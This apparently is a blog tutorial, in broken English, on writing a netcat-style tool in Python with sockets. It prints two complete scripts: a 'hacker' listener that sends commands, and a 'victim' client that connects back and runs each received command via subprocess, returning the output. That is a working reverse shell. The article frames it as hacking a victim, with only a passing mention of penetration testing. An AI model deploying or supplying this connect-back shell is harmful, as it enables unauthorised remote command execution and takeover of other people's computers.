Netcat is the connected two computer with Local Area Network and Wide Aare Netwiork. If you don't know about netcat than you come to right place to know the Netcat. The pentration tester use netcat as to scan the computer or electronic device from velnability. Using of netcat you can connect computer and share the shell by netcat.Â
In some condition netcat have a fixed support and fixed option. If you can get more option and more features than you can make your own netcat tool. It is easy to building the own netcat But if you don't know the programming language than it is difficult to make the own netcat. Python programming language is most compulsary to build the own netcat tools. We use socket module to write the program in python.
How to do socket programming in python
We create the two program the two program is connect with each other. First is server program second is victim program. server program is host in hacker machine. He can open the server to connect the victim. Victim program is run by the victim mechine and victim program is connect with the server program as a hacker host. Than hacker or pentration tester use RCE remote code excuation to hack or scan the valnability of computer now we see the program
Server program with Socket programming
#!/usr/bin/python3
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#creating the socket with ip 4 version
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
ip_vic = input('Enter the ip: ')
port = int(input('Enter the port: '))
s.bind((ip_vic,port))# open server with ip and port
print('listening.....')
s.listen(1)#waiting the victim to connect
victim,addr = s.accept()# accept the connect
print('connected')
#victim.send(b'hello')
while True:
cmd = input("$ ")
victim.send(cmd.encode())#encode is convert string to binary
output = (victim.recv(1024)).decode()#recieve the out from victim command exucation
print(output)
First import the socket and fix the ip version of victim. Ip v4 or 6. Mainly use ipv4. Enter local ip or port forward ip and enter port. Fixed the ip and port. Listening the connection. When get the connection accept. Start while loop to excute command with out exit program with excute one command. 1024 space of binary. send is sending the command recv is the that sending command excute and that comes output thar recive to server.
Victim server with socket programminig
#!/usr/bin/python3
import socket
import subprocess
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print('Connecting ....')
while True:
try:
s.connect(('127.0.0.1',8888))# trying to connect this ip connecting and loop break
break
except ConnectionRefusedError:
pass
print('connected')
while True:
cmd = (s.recv(1024)).decode()# decode is convert binary to string
output = subprocess.getoutput(cmd)# excecute the recieve command from server
s.send(output.encode())#send server output of excute co
Subprocess is exceute the command to our computer what input the server. s.connect 127.0.01 here is input your server ip than port. this victim program is trying to connect the ip and port remember your server ip and victim ip is match to connect the computer. Port is also match when some condition port forwarding process is doesn't want to match the port.
0 Comments
Don't comment a spam message